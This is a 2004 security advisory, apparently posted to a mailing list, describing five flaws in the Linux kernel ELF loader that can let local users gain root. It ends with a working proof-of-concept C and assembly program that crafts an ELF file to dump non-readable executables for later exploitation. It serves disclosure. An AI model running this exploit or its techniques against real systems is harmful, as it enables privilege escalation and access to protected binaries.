Linux ELF loader vulnerabilities

From: Paul Starzetz (
Date: 11/10/04

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    Date: Wed, 10 Nov 2004 12:59:25 +0100 (CET)
    To:, <>

    Hash: SHA1

    Synopsis: Linux kernel binfmt_elf loader vulnerabilities
    Product: Linux kernel
    Version: 2.4 up to to and including 2.4.27, 2.6 up to to and
               including 2.6.8
    CVE: not assigned
    Author: Paul Starzetz <>
    Date: Nov 10, 2004


    Numerous bugs have been found in the Linux ELF binary loader while
    handling setuid binaries.


    On Unix like systems the execve(2) system call provides functionality to
    replace the current process by a new one (usually found in binary form
    on the disk) or in other words to execute a new program.

    Internally the Linux kernel uses a binary format loader layer to
    implement the low level format dependend functionality of the execve()
    system call. The common execve code contains just few helper functions
    used to load the new binary and leaves the format specific work to a
    specialized binary format loader.

    One of the Linux format loaders is the ELF (Executable and Linkable
    Format) loader. Nowadays ELF is the standard format for Linux binaries
    besides the a.out binary format, which is not used in practice anymore.

    One of the functions of a binary format loader is to properly handle
    setuid executables, that is executables with the setuid bit set on the
    file system image of the executable. It allows execution of programs
    under a different user ID than the user issuing the execve call but is
    some lacy work from security point of view.

    Every ELF binary contains an ELF header defining the type and the layout
    of the program in memory as well as addition sections (like which
    program interpreter to load, symbot table, etc). The ELF header normally
    contains information about the entry point (start address) of the binary
    and the position of the memory map header (phdr) in the binary image and
    the program interpreter (that is normally the dynamic linker ld- The memory map header definies the memory mapping of the
    executable file that can be seen later from /proc/self/maps.

    We have indentified 5 different flaws in the Linux ELF binary loader
    (linux/fs/binfmt_elf.c all line numbers for 2.4.27):

    1) wrong return value check while filling kernel buffers (loop to scan
    the binary header for an interpreter section):

    static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
           size = elf_ex.e_phnum * sizeof(struct elf_phdr);
           elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
           if (!elf_phdata)
                  goto out;

    477: retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata, size);
           if (retval < 0)
                  goto out_free_ph;

    The above code looks good on the first glance, however checking the
    return value of kernel_read (which calls file->f_op->read) to be non-
    negative is not sufficient since a read() can perfectly return less than
    the requested buffer size bytes. This bug happens also on lines 301,
    523, 545 respectively.

    2) incorrect on error behaviour, if the mmap() call fails (loop to mmap
    binary sections into memory):

    645: for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) {
    684: error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags);
                  if (BAD_ADDR(error))

    3) bad return value vulnerability while mapping the program intrepreter
    into memory:

    301: retval = kernel_read(interpreter,interp_elf_ex->e_phoff,(char *)elf_phdata,size);
           error = retval;
           if (retval < 0)
                  goto out_close;

           eppnt = elf_phdata;
           for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {
               map_addr = elf_map(interpreter, load_addr + vaddr, eppnt, elf_prot, elf_type);
    322: if (BAD_ADDR(map_addr))
                  goto out_close;
           return error;

    4) the loaded interpreter section can contain an interpreter name string
    without the terminating NULL:

    508: for (i = 0; i < elf_ex.e_phnum; i++) {
    518: elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz,
                            if (!elf_interpreter)
                                    goto out_free_file;

                            retval = kernel_read(bprm->file, elf_ppnt->p_offset,
                            if (retval < 0)
                                    goto out_free_interp;

    5) bug in the common execve() code in exec.c: vulnerability in
    open_exec() permitting reading of non-readable ELF binaries, which can
    be triggered by requesting the file in the ELF PT_INTERP section:

    541: interpreter = open_exec(elf_interpreter);
                  retval = PTR_ERR(interpreter);
                  if (IS_ERR(interpreter))
                         goto out_free_interp;
                  retval = kernel_read(interpreter, 0, bprm->buf, BINPRM_BUF_SIZE);


    1) The Linux man pages state that a read(2) can return less than the
    requested number of bytes, even zero. It is not clear how this can
    happen while reading a disk file (in contrast to network sockets),
    however here some thoughts:

    - - if we trick read to fill the elf_phdata buffer with less than size
    bytes, the remaining part of the buffer will contain some garbage data,
    that is data from the previous kernel object, which occupied that memory

    Therefore we could arbitrarily modify the memory layout of the binary
    supplying a suitable header information in the kernel buffer. This
    should be sufficient to gain controll over the flow of execution for
    most of the setuid binaries around.

    - - on Linux a disk read goes through the page cache. That is, a disk read
    can easily fail on a page boundary due to a low memory condition. In
    this case read will return less than the requested number of bytes but
    still indicate success (ret>0).

    - - most of the standard setuid binaries on a 'normal' i386 Linux
    installation have ELF headers stored below the 4096th byte, therefore
    they are probably not exploitable on i386 architecture.

    2) This bug can lead to a incorrectly mmaped binary image in the memory.
    There are various reasons why a mmap() call can fail:

    - - a temporary low memory condition, so that the allocation of a new VMA
    descriptor fails

    - - memory limit (RLIMIT_AS) excedeed, which can be easily manpipulated
    before calling execve()

    - - file locks held for the binary file in question

    Security implications in the case of a setuid binary are quite obvious:
    we may end up with a binary without the .text or .bss section or with
    those sections shifted (in the case they are not 'fixed' sections). It
    is not clear which standard binaries are exploitable however it is
    sufficient that at some point we come over some instructions that jump
    into the environment area due to malformed memory layout and gain full
    controll over the setuid application.

    3) This bug is similar to 2) however the code incorrectly returns the
    kernel_read status to the calling function on mmap failure which will
    assume that the program interpreter has been loaded. That means that the
    kernel will start the execution of the binary file itself instead of
    calling the program interpreter (linker) that have to finish the binary
    loading from user space.

    We have found that standard Linux (i386, GCC 2.95) setuid binaries
    contain code that will jump to the EIP=0 address and crash (since there
    is no virtual memory mapped there), however this may vary from binary to
    binary as well from architecture to architecture and may be easily

    4) This bug leads to internal kernel file system functions beeing called
    with an argument string exceeding the maximum path size in length
    (PATH_MAX). It is not clear if this condition is exploitable.

    An user may try to execute such a malicious binary with an unterminated
    interpreter name string and trick the kernel memory manager to return a
    memory chunk for the elf_interpreter variable followed by a suitable
    longish path name (like ./././....). Our experiments show that it can
    lead to a preceivable system hang.

    5) This bug is similar to the shared file table race [1]. We give a
    proof-of-concept code at the end of this article that just core dumps
    the non-readable but executable ELF file.

    An user may create a manipulated ELF binary that requests a non-readable
    but executable file as program intrepreter and gain read access to the
    privileged binary. This works only if the file is a valid ELF image
    file, so it is not possible to read a data file that has the execute bit
    set but the read bit cleared. A common usage would be to read exec-only
    setuid binaries to gain offsets for further exploitation.


    Unprivileged users may gain elevated (root) privileges.


    Paul Starzetz <> has identified the vulnerability and
    performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF


    This document and all the information it contains are provided "as is",
    for educational purposes only, without warranty of any kind, whether
    express or implied.

    The authors reserve the right not to be responsible for the topicality,
    correctness, completeness or quality of the information provided in
    this document. Liability claims regarding damage caused by the use of
    any information provided, including any kind of information which is
    incomplete or incorrect, will therefore be rejected.


     * binfmt_elf executable file read vulnerability
     * gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
     * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    #include <unistd.h>

    #include <sys/types.h>
    #include <sys/resource.h>
    #include <sys/wait.h>

    #include <linux/elf.h>

    #define BADNAME "/tmp/_elf_dump"

    void usage(char *s)
            printf("\nUsage: %s executable\n\n", s);

    // ugly mem scan code :-)
    static volatile void bad_code(void)
    // "1: jmp 1b \n"
                    " xorl %edi, %edi \n"
                    " movl %esp, %esi \n"
                    " xorl %edx, %edx \n"
                    " xorl %ebp, %ebp \n"
                    " call get_addr \n"

                    " movl %esi, %esp \n"
                    " movl %edi, %ebp \n"
                    " jmp inst_sig \n"

                    "get_addr: popl %ecx \n"

    // sighand
                    "inst_sig: xorl %eax, %eax \n"
                    " movl $11, %ebx \n"
                    " movb $48, %al \n"
                    " int $0x80 \n"

                    "ld_page: movl %ebp, %eax \n"
                    " subl %edx, %eax \n"
                    " cmpl $0x1000, %eax \n"
                    " jle ld_page2 \n"

    // mprotect
                    " pusha \n"
                    " movl %edx, %ebx \n"
                    " addl $0x1000, %ebx \n"
                    " movl %eax, %ecx \n"
                    " xorl %eax, %eax \n"
                    " movb $125, %al \n"
                    " movl $7, %edx \n"
                    " int $0x80 \n"
                    " popa \n"

                    "ld_page2: addl $0x1000, %edi \n"
                    " cmpl $0xc0000000, %edi \n"
                    " je dump \n"
                    " movl %ebp, %edx \n"
                    " movl (%edi), %eax \n"
                    " jmp ld_page \n"

                    "dump: xorl %eax, %eax \n"
                    " xorl %ecx, %ecx \n"
                    " movl $11, %ebx \n"
                    " movb $48, %al \n"
                    " int $0x80 \n"
                    " movl $0xdeadbeef, %eax \n"
                    " jmp *(%eax) \n"


    static volatile void bad_code_end(void)

    int main(int ac, char **av)
    struct elfhdr eh;
    struct elf_phdr eph;
    struct rlimit rl;
    int fd, nl, pid;


    // make bad a.out
            fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
            nl = strlen(av[1])+1;
            memset(&eh, 0, sizeof(eh) );

    // elf exec header
            memcpy(eh.e_ident, ELFMAG, SELFMAG);
            eh.e_type = ET_EXEC;
            eh.e_machine = EM_386;
            eh.e_phentsize = sizeof(struct elf_phdr);
            eh.e_phnum = 2;
            eh.e_phoff = sizeof(eh);
            write(fd, &eh, sizeof(eh) );

    // section header(s)
            memset(&eph, 0, sizeof(eph) );
            eph.p_type = PT_INTERP;
            eph.p_offset = sizeof(eh) + 2*sizeof(eph);
            eph.p_filesz = nl;
            write(fd, &eph, sizeof(eph) );

            memset(&eph, 0, sizeof(eph) );
            eph.p_type = PT_LOAD;
            eph.p_offset = 4096;
            eph.p_filesz = 4096;
            eph.p_vaddr = 0x0000;
            eph.p_flags = PF_R|PF_X;
            write(fd, &eph, sizeof(eph) );

    // .interp
            write(fd, av[1], nl );

    // execable code
            nl = &bad_code_end - &bad_code;
            lseek(fd, 4096, SEEK_SET);
            write(fd, &bad_code, 4096);

    // dump the shit
            rl.rlim_cur = RLIM_INFINITY;
            rl.rlim_max = RLIM_INFINITY;
            if( setrlimit(RLIMIT_CORE, &rl) )
                    perror("\nsetrlimit failed");
            pid = fork();
                    execl(BADNAME, BADNAME, NULL);

            printf("\ncore dumped!\n\n");

    return 0;

    - --
    Paul Starzetz
    iSEC Security Research

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